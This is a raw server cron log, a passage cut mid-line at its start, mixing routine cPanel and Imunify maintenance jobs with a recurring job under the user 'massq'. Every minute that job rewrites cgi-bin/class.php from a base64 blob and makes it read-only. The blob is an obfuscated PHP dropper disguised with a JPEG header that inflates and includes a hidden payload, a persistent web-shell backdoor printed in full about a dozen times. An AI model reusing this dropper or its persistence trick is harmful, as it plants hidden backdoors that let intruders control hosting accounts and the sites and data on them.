moxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:19:02 server CROND[27188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:19:02 server CROND[27189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:19:02 server CROND[27190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:20:01 server CROND[27614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:20:01 server CROND[27617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:20:01 server CROND[27618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:20:01 server CROND[27624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:20:01 server CROND[27628]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:20:01 server CROND[27634]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 04:20:01 server CROND[27633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:20:01 server CROND[27632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:20:01 server CROND[27636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:21:01 server CROND[28478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:21:01 server CROND[28479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:21:01 server CROND[28480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:22:01 server CROND[28952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:22:01 server CROND[28954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:22:01 server CROND[28955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:23:01 server CROND[29318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:23:01 server CROND[29319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:23:01 server CROND[29320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:24:01 server CROND[29700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:24:01 server CROND[29701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:24:01 server CROND[29702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:25:01 server CROND[30078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:25:01 server CROND[30081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:25:01 server CROND[30083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:25:01 server CROND[30094]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:25:01 server CROND[30096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:25:01 server CROND[30093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:25:01 server CROND[30092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:25:01 server CROND[30091]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 04:26:01 server CROND[30928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:26:01 server CROND[30929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:26:01 server CROND[30930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:27:01 server CROND[31395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:27:01 server CROND[31396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:27:01 server CROND[31397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:27:01 server CROND[31398]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 04:28:01 server CROND[31776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:28:01 server CROND[31777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:28:01 server CROND[31778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:29:01 server CROND[32280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:29:01 server CROND[32281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:29:01 server CROND[32282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:29:04 server run-parts(/etc/cron.daily)[32321]: finished imunify-antivirus.cron
Sep 12 04:29:04 server run-parts(/etc/cron.daily)[11569]: starting logclean
Sep 12 04:29:04 server run-parts(/etc/cron.daily)[32333]: finished logclean
Sep 12 04:29:04 server run-parts(/etc/cron.daily)[11569]: starting logrotate
Sep 12 04:29:04 server run-parts(/etc/cron.daily)[32346]: finished logrotate
Sep 12 04:29:04 server run-parts(/etc/cron.daily)[11569]: starting maldet
Sep 12 04:30:01 server CROND[917]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 12 04:30:01 server CROND[918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:30:01 server CROND[927]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:30:01 server CROND[925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:30:01 server CROND[937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:30:01 server CROND[936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:30:01 server CROND[938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
